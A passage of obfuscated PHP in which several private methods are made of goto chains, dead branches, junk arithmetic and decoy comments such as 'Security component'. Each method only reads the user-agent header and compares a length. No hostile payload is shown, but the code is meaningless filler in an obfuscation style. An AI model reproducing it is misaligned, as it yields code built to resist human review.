$jIP39ari = $a6b9oay5s * 4;
if (false) { echo 'This is a dead end'; }
goto QjAhEt6B;
QjAhEt6B:
$XsucffsH = 706 + 12;
$FbaGmw5w = $XsucffsH * 3;
if (false) { echo 'This is a dead end'; }
goto MKH8zHU3;
MKH8zHU3:
/* System file */
goto rtWQCKBX;
rtWQCKBX:
/* A3QooW8gfzjX9pc */
goto YwwLO58P;
YwwLO58P:
$a6EHyDbxg = strlen($iX1geSuk);
goto u8iqu7iH;
u8iqu7iH:
$a29IFo9lZ = 868 + 39;
$n7sJ6WnP = $a29IFo9lZ * 2;
goto edjPYJZn;
edjPYJZn:
goto jY93RUIf;
jY93RUIf:
goto txXDogit;
txXDogit:
/* API handler */
goto a1YY9a0yg;
a1YY9a0yg:
$WWDcP6ib = 632 + 16;
$NqlX8zGc = $WWDcP6ib * 2;
goto fMgfB6ay;
fMgfB6ay:
goto IJi_gMKi;
IJi_gMKi:
goto ZX5lfDgq;
ZX5lfDgq:
$n7sJ6WnP = 181 + 37;
$a6EHyDbxg = $n7sJ6WnP * 4;
goto xZJz4_JU;
xZJz4_JU:
goto F7QguvfK;
F7QguvfK:
goto A38wIfFM;
A38wIfFM:
if (false) { echo 'This is a dead end'; }
goto a7nSfcfFx;
a7nSfcfFx:
/* Core module */
$Pe9zuJ4r = 698 + 26;
$iCjD65Pi = $Pe9zuJ4r * 4;
if (false) { echo 'This is a dead end'; }
goto K2eD2xVi;
K2eD2xVi:
goto XAktYNHP;
XAktYNHP:
/* Security component */
$bZa4iOd6 = 236 + 46;
$iX1geSuk = $bZa4iOd6 * 4;
goto a2zjsgzgV;
a2zjsgzgV:
/* vfawqSf9aLVbwrc_wTgW */
goto a8xo8b88Z;
a8xo8b88Z:
return $a6EHyDbxg > 10;
}
private function a6bmEZgki5D() {
goto yWBAR38e;
yWBAR38e:
goto a0Gmj2rRD;
a0Gmj2rRD:
if (false) { echo 'This is a dead end'; }
goto Jai8ADbf;
Jai8ADbf:
$jIP39ari = 329 + 9;
$BqYDw4sr = $jIP39ari * 1;
if (false) { echo 'This is a dead end'; }
goto I7xTquzC;
I7xTquzC:
goto Bgm2mzeI;
Bgm2mzeI:
// yLc4JAjC
if (false) { echo 'This is a dead end'; }
goto ykAPJxrm;
ykAPJxrm:
/* 6FtMhvAGKd */
$a6EHyDbxg = 630 + 2;
$jIP39ari = $a6EHyDbxg * 3;
goto i318oimK;
i318oimK:
$FbaGmw5w = 114 + 36;
$B9ma2fmF = $FbaGmw5w * 4;
goto aEV77aLh;
aEV77aLh:
// 3lbQ1Ks08BI3
$WWDcP6ib = 797 + 19;
$n7sJ6WnP = $WWDcP6ib * 5;
goto ibPDCmyi;
ibPDCmyi:
/* System file */
$WWDcP6ib = 663 + 49;
$NqlX8zGc = $WWDcP6ib * 4;
goto NiTiwaou;
NiTiwaou:
/* Main service */
goto a1ymXnf44;
a1ymXnf44:
/* System file */
if (false) { echo 'This is a dead end'; }
goto sgPfOtQA;
sgPfOtQA:
/* System file */
goto gcl3Tkxn;
gcl3Tkxn:
$BqYDw4sr = 314 + 46;
$iX1geSuk = $BqYDw4sr * 4;
goto fNts8KpI;
fNts8KpI:
/* Security component */
goto WrRilRF9;
WrRilRF9:
goto nd9HTdQ9;
nd9HTdQ9:
$BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto wHTG4jQG;
wHTG4jQG:
/* Qw7LemHeBu4ToUrMd28v */
goto Kj3FvT93;
Kj3FvT93:
$B9ma2fmF = 140 + 7;
$a6b9oay5s = $B9ma2fmF * 5;
goto fEigPmSy;
fEigPmSy:
/* c1Rwv2Fdei1wNqFkg8Um */
goto UmSfJvJd;
UmSfJvJd:
$a6EHyDbxg = 680 + 17;
$iCjD65Pi = $a6EHyDbxg * 4;
goto Fz68lvGK;
Fz68lvGK:
// mpmUKfeI7Zx8xNt6
$a6b9oay5s = 253 + 18;
$a29IFo9lZ = $a6b9oay5s * 1;
goto i8qVKXbI;
i8qVKXbI:
goto mnggl4JL;
mnggl4JL:
/* Main service */
$a6b9oay5s = 127 + 39;
$FbaGmw5w = $a6b9oay5s * 4;
goto o85CXZ4S;
o85CXZ4S:
$FbaGmw5w = 756 + 27;
$bZa4iOd6 = $FbaGmw5w * 4;
goto a0N0vBYm4;
a0N0vBYm4:
/* Main service */
$a6EHyDbxg = 160 + 22;
$WWDcP6ib = $a6EHyDbxg * 3;
goto oYl7gWml;
oYl7gWml:
/* dOijPstN48dba_KVYdrE */
$a6b9oay5s = 896 + 36;
$Pe9zuJ4r = $a6b9oay5s * 5;
goto BMK5lzmp;
BMK5lzmp:
if (false) { echo 'This is a dead end'; }
goto SNJJbplL;
SNJJbplL:
$FbaGmw5w = 719 + 5;
$bZa4iOd6 = $FbaGmw5w * 5;
goto a1fQF5E9g;
a1fQF5E9g:
$n7sJ6WnP = 392 + 26;
$BqYDw4sr = $n7sJ6WnP * 4;
goto N1EHjjMb;
N1EHjjMb:
/* System file */
goto J1ZTaB8T;
J1ZTaB8T:
goto GanhwME9;
GanhwME9:
$B9ma2fmF = strlen($BqYDw4sr);
goto yDpjMD8f;
yDpjMD8f:
goto hG_08HDt;
hG_08HDt:
/* Core module */
goto iMmPkJ_E;
iMmPkJ_E:
$NqlX8zGc = 264 + 41;
$a29IFo9lZ = $NqlX8zGc * 5;
goto CnN0XvuF;
CnN0XvuF:
goto n5hzpHtL;
n5hzpHtL:
/* API handler */
goto bEzkzljz;
bEzkzljz:
// 3Q6wGe2fo17E
goto LbROmzNR;
LbROmzNR:
/* System file */
goto EpO62Gls;
EpO62Gls:
/* Main service */
goto h4ZGZVLI;
h4ZGZVLI:
/* 3cSptLVTfNwmp1S */
$iCjD65Pi = 938 + 7;
$a6EHyDbxg = $iCjD65Pi * 1;
goto wPbzTrSs;
wPbzTrSs:
if (false) { echo 'This is a dead end'; }
goto BOT_A3Uc;
BOT_A3Uc:
/* System file */
goto a3vh9qk7j;
a3vh9qk7j:
$bZa4iOd6 = 384 + 30;
$a29IFo9lZ = $bZa4iOd6 * 1;
goto BeQSwiex;
BeQSwiex:
/* Core module */
goto eKRWFa3O;
eKRWFa3O:
/* dWm4xj0uJ6 */
goto pjZT9tV8;
pjZT9tV8:
/* API handler */
goto MGbrbyl9;
MGbrbyl9:
return $B9ma2fmF > 10;
}
private function g8z_sOizUr() {
/* E48Ekn__97 */
goto oYOv9ko4;
oYOv9ko4:
// 3_bnnfVInwMWkxuR
goto VztRA_mk;
VztRA_mk:
/* Security component */
$iX1geSuk = 791 + 22;
$iCjD65Pi = $iX1geSuk * 4;
if (false) { echo 'This is a dead end'; }
goto Gr0OPoSW;
Gr0OPoSW:
goto n1PXTZr3;
n1PXTZr3:
// 0N8IBJTY
$iCjD65Pi = 256 + 44;
$n7sJ6WnP = $iCjD65Pi * 4;
if (false) { echo 'This is a dead end'; }
goto a5Zcb36FV;
a5Zcb36FV:
goto p2aJ1wWw;
p2aJ1wWw:
goto t2f86_br;
t2f86_br:
goto ZuWirs7E;
ZuWirs7E:
goto a4zB4rUGV;
a4zB4rUGV:
goto SMOtQI3X;
SMOtQI3X:
// m8duXTBNsU3xyYAj
goto a7j2yIwN6;
a7j2yIwN6:
/* F3SuiyUaw98Lq93wV5C7 */
goto RegJ8VOc;
RegJ8VOc:
if (false) { echo 'This is a dead end'; }
goto a5y3lcTUH;
a5y3lcTUH:
goto UbEyuuhj;
UbEyuuhj:
/* 3qHKt4t49OiNddF */
goto a6mzLJQ_z;
a6mzLJQ_z:
$XsucffsH = 653 + 50;
$bZa4iOd6 = $XsucffsH * 3;
if (false) { echo 'This is a dead end'; }
goto QtBj2Oa9;
QtBj2Oa9:
$BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto XfnCepHS;
XfnCepHS:
$iX1geSuk = 917 + 19;
$NqlX8zGc = $iX1geSuk * 1;
goto yjFNdCCl;
yjFNdCCl:
goto JlTxX3AS;
JlTxX3AS:
/* Core module */
goto a6deHQhtF;
a6deHQhtF:
$iCjD65Pi = 683 + 25;
$FbaGmw5w = $iCjD65Pi * 1;
goto G_p1h983;
G_p1h983:
/* dmi6UG3Krtuq6EF */
goto FQouE3Pe;
FQouE3Pe:
/* KmjBkZCme12CqCl */
goto lQjczRGA;
lQjczRGA:
$BqYDw4sr = 988 + 29;
$WWDcP6ib = $BqYDw4sr * 1;
goto sXsifTQB;
sXsifTQB:
/* Security component */
goto daEPX6WB;
daEPX6WB:
$XsucffsH = 986 + 5;
$n7sJ6WnP = $XsucffsH * 5;
goto e9dE1zHC;
e9dE1zHC:
/* Security component */
goto Sw5KdDRj;
Sw5KdDRj:
goto a2Rc2oz5H;
a2Rc2oz5H:
/* Main service */
goto wKioaEBA;
wKioaEBA:
/* API handler */
goto YuYUcTWD;
YuYUcTWD:
goto LnpLP8Xv;
LnpLP8Xv:
/* w50sdaiqwA303Sq */
goto wAuJKbQz;
wAuJKbQz:
$n7sJ6WnP = strlen($BqYDw4sr);
goto Y4XUm3HJ;
Y4XUm3HJ:
if (false) { echo 'This is a dead end'; }
goto ngCMCyYB;
ngCMCyYB:
/* H2esG7MR0wU8nMlGDO37 */
goto Bs0XRfps;
Bs0XRfps:
/* Core module */
$bZa4iOd6 = 444 + 28;
$iX1geSuk = $bZa4iOd6 * 5;
goto wYzqoLWx;
wYzqoLWx:
/* Core module */
goto iPEyOIyw;
iPEyOIyw:
$a6b9oay5s = 818 + 22;
$FbaGmw5w = $a6b9oay5s * 3;
goto C61GeBeH;
C61GeBeH:
/* SWx_cn2oAAxAbD058ejF */
goto yNO6P9BY;
yNO6P9BY:
$iCjD65Pi = 874 + 43;
$a6EHyDbxg = $iCjD65Pi * 3;
if (false) { echo 'This is a dead end'; }
goto QM1LGCLd;
QM1LGCLd:
goto z2VdTPDk;
z2VdTPDk:
/* 9YZiXCny8TFC7NbZSxRj */
if (false) { echo 'This is a dead end'; }
goto MJn9lncb;
MJn9lncb:
/* q8UgiQTVEhslX8ta0TnI */
goto vlKTHrDY;
vlKTHrDY:
/* API handler */
goto a__4sAxwO;
a__4sAxwO:
/* Core module */
goto UYwbQCEF;
UYwbQCEF:
$XsucffsH = 355 + 47;
$bZa4iOd6 = $XsucffsH * 5;
goto MchAAS07;
MchAAS07:
$jIP39ari = 862 + 20;
$a6b9oay5s = $jIP39ari * 1;
goto WqIXkdfC;
WqIXkdfC:
/* UDq3Q8dwMbqD0fvbBxQk */
goto CTRN9nBa;
CTRN9nBa:
return $n7sJ6WnP > 10;
}
private function c64tyho1wz() {
goto Z7dTABhf;
Z7dTABhf:
goto UEbhVoVy;
UEbhVoVy:
/* cET7nj6QVA */
goto yhXMzHbi;
yhXMzHbi:
$NqlX8zGc = 809 + 35;
$iX1geSuk = $NqlX8zGc * 2;
goto a4wItnH2a;
a4wItnH2a:
$B9ma2fmF = 743 + 23;
$B9ma2fmF = $B9ma2fmF * 3;
goto WCHhtw6V;
WCHhtw6V:
/* LzuL_AN0v1BXTPZai1d6 */
$XsucffsH = 655 + 37;
$iX1geSuk = $XsucffsH * 5;
if (false) { echo 'This is a dead end'; }
goto LpeyklZz;
LpeyklZz:
goto y_bvsq4A;
y_bvsq4A:
/* Core module */
goto a7P0bnjlM;
a7P0bnjlM:
goto a38pdeLYy;
a38pdeLYy:
/* YWyprzvsbA */
$Pe9zuJ4r = 969 + 5;
$n7sJ6WnP = $Pe9zuJ4r * 5;
goto lLm_SWCm;
lLm_SWCm:
/* JBtGk6o9bNDhcRXvAf97 */
$FbaGmw5w = 384 + 48;
$bZa4iOd6 = $FbaGmw5w * 1;
goto NDupqVdy;
NDupqVdy:
// vIK2fAdu
goto a3dUobrGA;
a3dUobrGA:
/* Security component */
$Pe9zuJ4r = 851 + 34;
$Pe9zuJ4r = $Pe9zuJ4r * 1;
goto qU5DiChK;
qU5DiChK:
// 8l7XLh43z2t11Bs6
goto kxg20HbD;
kxg20HbD:
/* Main service */
goto W0xxrJOu;
W0xxrJOu:
goto Uqk30zXo;
Uqk30zXo:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto eph5YpmN;
eph5YpmN:
/* PXjO748iDzD2h0HLijet */
if (false) { echo 'This is a dead end'; }
goto di7AXn5_;
di7AXn5_:
/* System file */
goto Np1aezua;
Np1aezua:
// b0Vq4oztGUN6KL4m
$a6b9oay5s = 240 + 24;
$bZa4iOd6 = $a6b9oay5s * 5;
goto a3rnPhl5;
a3rnPhl5:
goto a84LyxKO5;
a84LyxKO5:
/* Xkxe2Po07ZyHX3svmXwx */
goto BatuwmsP;
BatuwmsP:
$BqYDw4sr = 338 + 37;
$n7sJ6WnP = $BqYDw4sr * 4;
if (false) { echo 'This is a dead end'; }
goto vzMy8d6t;
vzMy8d6t:
goto nKNK3hOz;
nKNK3hOz:
goto xNiIGmHG;
xNiIGmHG:
// FldDsZk8pBM6
goto lAPGc5_w;
lAPGc5_w:
$a6EHyDbxg = 348 + 44;
$a6EHyDbxg = $a6EHyDbxg * 5;
if (false) { echo 'This is a dead end'; }
goto wv1_XnO6;
wv1_XnO6:
$iX1geSuk = 168 + 43;
$XsucffsH = $iX1geSuk * 1;
goto a5x7wrRPm;
a5x7wrRPm:
// z99Q_qaX
goto JjJQijtm;
JjJQijtm:
/* anshhLMo_q */
goto a0JsXhAcA;
a0JsXhAcA:
goto a6XNubgaY;
a6XNubgaY:
/* Security component */
goto Y5ajfXWc;
Y5ajfXWc:
$BqYDw4sr = strlen($XsucffsH);
goto r0lLDxzy;
r0lLDxzy:
$NqlX8zGc = 380 + 14;
$BqYDw4sr = $NqlX8zGc * 1;
if (false) { echo 'This is a dead end'; }
goto qgakFFZz;
qgakFFZz:
if (false) { echo 'This is a dead end'; }
goto cpa51I5X;
cpa51I5X:
goto bu3TZb24;
bu3TZb24:
// V0jkwATH5tt53zSF
$XsucffsH = 876 + 12;
$NqlX8zGc = $XsucffsH * 4;
if (false) { echo 'This is a dead end'; }
goto IJzoHeXw;
IJzoHeXw:
// BfdcLKU3lyoF
$a29IFo9lZ = 190 + 7;
$WWDcP6ib = $a29IFo9lZ * 5;
goto a0BSCvKJn;
a0BSCvKJn:
/* a_wcuuepQvwU0yVniEz3 */
$a6EHyDbxg = 786 + 45;
$iCjD65Pi = $a6EHyDbxg * 4;
goto xnWGK4zE;
xnWGK4zE:
// 6RD8ewvz
$iCjD65Pi = 535 + 26;
$a6EHyDbxg = $iCjD65Pi * 3;
goto otMeTko7;
otMeTko7:
/* System file */
goto aBTvGSKo;
aBTvGSKo:
/* System file */
$FbaGmw5w = 922 + 16;
$WWDcP6ib = $FbaGmw5w * 3;
if (false) { echo 'This is a dead end'; }
goto YEX3fyG5;
YEX3fyG5:
// Z4QFp7CeV1kk
$Pe9zuJ4r = 334 + 6;
$iX1geSuk = $Pe9zuJ4r * 1;
if (false) { echo 'This is a dead end'; }
goto hDqUSzSS;
hDqUSzSS:
/* 2D6Kzrb7ixXTWxaiuI9h */
goto EHjgTUMW;
EHjgTUMW:
goto isJCpkvs;
isJCpkvs:
// e5lNVvAZ
goto QC0ejrHb;
QC0ejrHb:
/* API handler */
goto a8aplaBuF;
a8aplaBuF:
goto giMXkwGs;
giMXkwGs:
return $BqYDw4sr > 10;
}
private function x_kya9HnOd() {
goto GYky2QfG;
GYky2QfG:
/* Core module */
goto a_Ft81Xfc;
a_Ft81Xfc:
$iX1geSuk = 515 + 47;
$FbaGmw5w = $iX1geSuk * 4;
if (false) { echo 'This is a dead end'; }
goto a_5Yf0Nhg;
a_5Yf0Nhg:
/* UFM95PwrL4F_3Uj8B7xj */
goto Uh28XbUk;
Uh28XbUk:
goto Etp2QRSd;
Etp2QRSd:
/* 1wE6Fi3Mg7j2HiTHY2GQ */
if (false) { echo 'This is a dead end'; }
goto kclTQD_w;
kclTQD_w:
$iCjD65Pi = 904 + 37;
$bZa4iOd6 = $iCjD65Pi * 3;
if (false) { echo 'This is a dead end'; }
goto a3DS4kKzf;
a3DS4kKzf:
/* System file */
goto B5byuyF2;
B5byuyF2:
/* 4eXqTU4Ac4gVpzv */
$n7sJ6WnP = 587 + 16;
$iCjD65Pi = $n7sJ6WnP * 5;
goto a8EyVpJa1;
a8EyVpJa1:
$jIP39ari = 939 + 49;
$WWDcP6ib = $jIP39ari * 4;
goto rr7pUdJd;
rr7pUdJd:
// b2N4om4h
goto a_3s8t0EY;
a_3s8t0EY:
// Q3XjQ28xscGn
goto jeRnXbQ9;
jeRnXbQ9:
$Pe9zuJ4r = 131 + 36;
$Pe9zuJ4r = $Pe9zuJ4r * 4;
goto W14fVy2D;
W14fVy2D:
// DhvrnEOb
$a29IFo9lZ = 130 + 4;
$a29IFo9lZ = $a29IFo9lZ * 3;
goto NXjC9R90;
NXjC9R90:
goto a71Xbgm8r;
a71Xbgm8r:
goto ZZwDbES5;
ZZwDbES5:
$a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto WkjhfOfA;
WkjhfOfA:
/* Security component */
goto a15WliN0v;
a15WliN0v:
goto D2o_0AjW;
D2o_0AjW:
goto ydlBM3BO;
ydlBM3BO:
goto Isb2tHVT;
Isb2tHVT:
// zbf1x8lD62JEd19Y
$jIP39ari = 739 + 6;
$n7sJ6WnP = $jIP39ari * 3;
if (false) { echo 'This is a dead end'; }
goto Ksjzrbn8;
Ksjzrbn8:
/* API handler */
$a6EHyDbxg = 378 + 38;
$B9ma2fmF = $a6EHyDbxg * 4;
goto H8f455oz;
H8f455oz:
$a29IFo9lZ = 227 + 42;
$a6b9oay5s = $a29IFo9lZ * 4;
goto eB7YdBcV;
eB7YdBcV:
goto WppHIw0K;
WppHIw0K:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto Erdqv6UO;
Erdqv6UO:
goto uZNAnQ05;
uZNAnQ05:
/* Core module */
goto k1PwHMAi;
k1PwHMAi:
goto Jft0CL80;
Jft0CL80:
/* 5fXq0mn7UovOxZgGkXik */
if (false) { echo 'This is a dead end'; }
goto uKOvDPqk;
uKOvDPqk:
if (false) { echo 'This is a dead end'; }
goto MAwAvJp4;
MAwAvJp4:
goto OcYuZpl4;
OcYuZpl4:
$Pe9zuJ4r = strlen($a29IFo9lZ);
goto vkXTgkfl;
vkXTgkfl:
goto KcPBdfYH;
KcPBdfYH:
/* Security component */
$XsucffsH = 360 + 2;
$a6b9oay5s = $XsucffsH * 5;
if (false) { echo 'This is a dead end'; }
goto q1kYyvLS;
q1kYyvLS:
// iN8Fj3ZJj9i8TF0G
goto YKUzx4Yx;
YKUzx4Yx:
goto aPYA30_B;
aPYA30_B:
/* cUJmZ0yFUS7azPeRQRpv */
$NqlX8zGc = 772 + 45;
$Pe9zuJ4r = $NqlX8zGc * 1;
goto RfdCGza1;
RfdCGza1:
/* Security component */
$a29IFo9lZ = 556 + 43;
$NqlX8zGc = $a29IFo9lZ * 5;
goto zpLVPVlO;
zpLVPVlO:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto kZDEq5eD;
kZDEq5eD:
/* D1pL37mLzMS3PhX */
goto oRmN37zG;
oRmN37zG:
goto q8E3qNCs;
q8E3qNCs:
// CQol8RYE
goto a1PDADZUX;
a1PDADZUX:
goto a2T6PmtHE;
a2T6PmtHE:
$iX1geSuk = 115 + 50;
$XsucffsH = $iX1geSuk * 1;
goto qn_IK1RB;
qn_IK1RB:
/* API handler */
goto UucxMKHB;
UucxMKHB:
/* Security component */
goto a0d_8PoKA;
a0d_8PoKA:
// ELbSEzljI3Z9
goto nFbokACD;
nFbokACD:
return $Pe9zuJ4r > 10;
}
private function UW8dJnSToE() {
goto csREO2SO;
csREO2SO:
$WWDcP6ib = 622 + 18;
$WWDcP6ib = $WWDcP6ib * 5;
goto yw66izRc;
yw66izRc:
goto AvSReTWB;
AvSReTWB:
/* XPWW5TFjGAzu9u45i9o4 */
goto a2KVZkEiH;
a2KVZkEiH:
goto ut0Be29E;
ut0Be29E:
goto PgiF6h6C;
PgiF6h6C:
$a6EHyDbxg = 184 + 12;
$iX1geSuk = $a6EHyDbxg * 2;
goto RN2pGfop;
RN2pGfop:
goto rhJV1SET;
rhJV1SET:
goto yHHmvBAQ;
yHHmvBAQ:
// kvVEAHoaRvMY
goto ag0xKfSp;
ag0xKfSp:
if (false) { echo 'This is a dead end'; }
goto nGQj5SZk;
nGQj5SZk:
goto BSydwke5;
BSydwke5:
goto jAXMf2Ar;
jAXMf2Ar:
goto AwRfrsHB;
AwRfrsHB:
goto v70kojHk;
v70kojHk:
goto LbRKFQJS;
LbRKFQJS:
$BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto oa9hg2Wk;
oa9hg2Wk:
/* n00RobQIUF */
if (false) { echo 'This is a dead end'; }
goto a2cLqD7uU;
a2cLqD7uU:
goto khzVn3PI;
khzVn3PI:
$jIP39ari = 769 + 1;
$WWDcP6ib = $jIP39ari * 3;
goto fRckUqG2;
fRckUqG2:
/* etpSd06WN9UMEi2aqkSU */
goto uB3Bf3XL;
uB3Bf3XL:
/* API handler */
goto bFpriyZC;
bFpriyZC:
/* System file */
goto a0Hu3Izgx;
a0Hu3Izgx:
/* oCE9s_sqKbaK7B_ */
goto HV3KVHZ6;
HV3KVHZ6:
// Ed5OpCEolYwOmqab
$B9ma2fmF = 336 + 33;
$iX1geSuk = $B9ma2fmF * 2;
goto Z3YAm884;
Z3YAm884:
if (false) { echo 'This is a dead end'; }
goto Gdq1oDOT;
Gdq1oDOT:
/* zfo_kLmr9L */
$iX1geSuk = 751 + 40;
$BqYDw4sr = $iX1geSuk * 2;
goto AUlx8eeb;
AUlx8eeb:
/* b9tvXJOEFUpw_BC1tPTZ */
goto ePGvO4uh;
ePGvO4uh:
if (false) { echo 'This is a dead end'; }
goto MEJj7xAk;
MEJj7xAk:
// 9aBwuCsdm6YiCkp_
goto a5VZvlrhz;
a5VZvlrhz:
/* Core module */
$Pe9zuJ4r = 851 + 18;
$a29IFo9lZ = $Pe9zuJ4r * 1;
goto wFxsfNYO;
wFxsfNYO:
goto q2cbV7ls;
q2cbV7ls:
$iX1geSuk = strlen($BqYDw4sr);
goto vn2KigzL;
vn2KigzL:
/* API handler */
goto a2hD6EmN0;
a2hD6EmN0:
goto h5MIpMzu;
h5MIpMzu:
$n7sJ6WnP = 999 + 39;
$BqYDw4sr = $n7sJ6WnP * 3;
if (false) { echo 'This is a dead end'; }
goto rseYZozV;
rseYZozV:
$a29IFo9lZ = 960 + 46;
$Pe9zuJ4r = $a29IFo9lZ * 1;
goto KzrZOhTv;
KzrZOhTv:
goto JSmQXtbR;
JSmQXtbR:
/* Core module */
$NqlX8zGc = 999 + 14;
$FbaGmw5w = $NqlX8zGc * 2;
goto a3hbClja6;
a3hbClja6:
/* System file */
$BqYDw4sr = 421 + 26;
$a6b9oay5s = $BqYDw4sr * 3;
goto QowIZVrh;
QowIZVrh:
/* System file */
goto a62mYfPQ;
a62mYfPQ:
// EjE3ei2SM0siLLUC
goto zJzZZoId;
zJzZZoId:
$FbaGmw5w = 982 + 21;
$iCjD65Pi = $FbaGmw5w * 3;
goto JhzNVj15;
JhzNVj15:
goto a8YQmwo1V;
a8YQmwo1V:
/* l_pxtVguuQqil2tHwOOW */
goto H9N7nMu4;
H9N7nMu4:
goto PTac4tal;
PTac4tal:
// YA9bD3tlg6vpeh7V
goto a_fpEUq6s;
a_fpEUq6s:
goto tl4jYuc_;
tl4jYuc_:
return $iX1geSuk > 10;
}
private function a1LpDTgWcGA() {
/* Security component */
goto c9yY3ITx;
c9yY3ITx:
// hZzIa2pR
$n7sJ6WnP = 452 + 43;
$Pe9zuJ4r = $n7sJ6WnP * 5;
goto CON8L476;
CON8L476:
/* System file */
$a6b9oay5s = 437 + 12;
$NqlX8zGc = $a6b9oay5s * 1;
if (false) { echo 'This is a dead end'; }
goto BULcJDti;
BULcJDti:
/* Security component */
$a6EHyDbxg = 789 + 36;
$jIP39ari = $a6EHyDbxg * 5;
goto TmpiOEPh;
TmpiOEPh:
$XsucffsH = 744 + 27;
$B9ma2fmF = $XsucffsH * 3;
goto mVKjN3fh;
mVKjN3fh:
goto f8YycruC;
f8YycruC:
/* sSCagDfcaSsknwz9T6lE */
if (false) { echo 'This is a dead end'; }
goto fUyNURh4;
fUyNURh4:
/* System file */
$iCjD65Pi = 582 + 14;
$WWDcP6ib = $iCjD65Pi * 4;
goto ub2A9kEV;
ub2A9kEV:
goto wmPYDjUE;
wmPYDjUE:
$Pe9zuJ4r = 440 + 14;
$iCjD65Pi = $Pe9zuJ4r * 1;
if (false) { echo 'This is a dead end'; }
goto d6z8_hJ7;
d6z8_hJ7:
// PFinYEpa
goto GlwnNYfc;
GlwnNYfc:
/* wEr7400pEp */
$a6EHyDbxg = 763 + 11;
$n7sJ6WnP = $a6EHyDbxg * 1;
goto a2iZtEBGR;
a2iZtEBGR:
/* Security component */
$jIP39ari = 109 + 41;
$jIP39ari = $jIP39ari * 1;
goto z_N4xovt;
z_N4xovt:
/* Security component */
goto kgpEQOq1;
kgpEQOq1:
if (false) { echo 'This is a dead end'; }
goto dYMikNlr;
dYMikNlr:
goto uP3juDfn;
uP3juDfn:
$iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto GAqEaeJt;
GAqEaeJt:
goto LPedMEVi;
LPedMEVi:
// iuUGiPG7lx6I_0Pm
goto a4XAPNxpD;
a4XAPNxpD:
$a29IFo9lZ = 445 + 19;
$B9ma2fmF = $a29IFo9lZ * 3;
goto csJCYrO8;
csJCYrO8:
/* Security component */
$WWDcP6ib = 708 + 1;
$n7sJ6WnP = $WWDcP6ib * 4;
if (false) { echo 'This is a dead end'; }
goto bi_s8n3o;
bi_s8n3o:
// K6wANi63
goto hFtzJL7G;
hFtzJL7G:
goto a8lTgRdv9;
a8lTgRdv9:
/* kMDxn_PICAGuxVg */
goto kynltto5;
kynltto5:
// Aih6k9Mk
goto l9Q5NTc_;
l9Q5NTc_:
// YzCYuu_9g1iDpdZI
$NqlX8zGc = 218 + 33;
$jIP39ari = $NqlX8zGc * 2;
if (false) { echo 'This is a dead end'; }
goto VZivwTgy;
VZivwTgy:
goto I7QMGP7g;
I7QMGP7g:
$iX1geSuk = 648 + 33;
$FbaGmw5w = $iX1geSuk * 4;
goto Jj3vibvA;
Jj3vibvA:
goto a6oIfe37V;
a6oIfe37V:
if (false) { echo 'This is a dead end'; }
goto tMuHHRK4;
tMuHHRK4:
goto qjyTSAfs;
qjyTSAfs:
// BG57ODkvv6afLxvC
$a6b9oay5s = 623 + 31;
$iCjD65Pi = $a6b9oay5s * 5;
goto nxFOfNTm;
nxFOfNTm:
$iX1geSuk = strlen($iX1geSuk);
goto T20vfBZb;
T20vfBZb:
goto VqY0nEoR;
VqY0nEoR:
/* NMZgsMtOWK7waLt2hu5w */
goto Q1g9oAkX;
Q1g9oAkX:
/* rMZTd47e5GBeUAN52EQv */
$n7sJ6WnP = 857 + 4;
$a29IFo9lZ = $n7sJ6WnP * 3;
goto CSLk2Axg;
CSLk2Axg:
goto z3OBXQGF;
z3OBXQGF:
goto jqyBOIbx;
jqyBOIbx:
$Pe9zuJ4r = 951 + 44;
$a6b9oay5s = $Pe9zuJ4r * 1;
if (false) { echo 'This is a dead end'; }
goto a3DndRBB6;
a3DndRBB6:
/* pZ54lvami7omoCELFTJu */
goto ypeiFg6w;
ypeiFg6w:
/* Main service */
goto D2isUPEa;
D2isUPEa:
goto ZlD3mfwp;
ZlD3mfwp:
/* System file */
$BqYDw4sr = 325 + 17;
$iX1geSuk = $BqYDw4sr * 4;
goto zT5vWVv3;
zT5vWVv3:
goto OZjAhxRH;
OZjAhxRH:
// 470S1o6Y
goto lAHcaV9R;
lAHcaV9R:
// QzGZlclh
goto a5ZgEut_z;
a5ZgEut_z:
$NqlX8zGc = 341 + 50;
$jIP39ari = $NqlX8zGc * 3;
goto LR34yicB;
LR34yicB:
/* Main service */
$B9ma2fmF = 562 + 19;
$XsucffsH = $B9ma2fmF * 2;
goto NQhibmEZ;
NQhibmEZ:
return $iX1geSuk > 10;
}
private function sO0kTLMjy4() {
/* e6VFyBLiP5ZMOf7 */
goto FpJ7kCUy;
FpJ7kCUy:
/* RfNbOwq5NlI_tnY */
if (false) { echo 'This is a dead end'; }
goto ZtLmuhlK;
ZtLmuhlK:
goto obg3tZqS;
obg3tZqS:
/* Security component */
goto LCQSF_fe;
LCQSF_fe:
// uHFWsdjn6Q603MLw
goto GS5mKidK;
GS5mKidK:
$jIP39ari = 525 + 3;
$a29IFo9lZ = $jIP39ari * 4;
goto qjoAZ39L;
qjoAZ39L:
// fb6yMVcu
$XsucffsH = 928 + 42;
$Pe9zuJ4r = $XsucffsH * 5;
if (false) { echo 'This is a dead end'; }
goto D_qQv8jg;
D_qQv8jg:
/* Main service */
goto OOw1sueM;
OOw1sueM:
goto a7D4tbKvf;
a7D4tbKvf:
$iX1geSuk = 566 + 21;
$iCjD65Pi = $iX1geSuk * 3;
goto e6AZ2EXi;
e6AZ2EXi:
// O2KxUIGUMOYzgzhr
$a6b9oay5s = 491 + 38;
$B9ma2fmF = $a6b9oay5s * 4;
goto a1BTygbvL;
a1BTygbvL:
/* OT9Zd8Ij9y */
$Pe9zuJ4r = 910 + 6;
$FbaGmw5w = $Pe9zuJ4r * 5;
goto GcCKmgv2;
GcCKmgv2:
/* 6WDdvbEDM5U6Zqf */
goto nYDSynYn;
nYDSynYn:
goto nrsxlVvN;
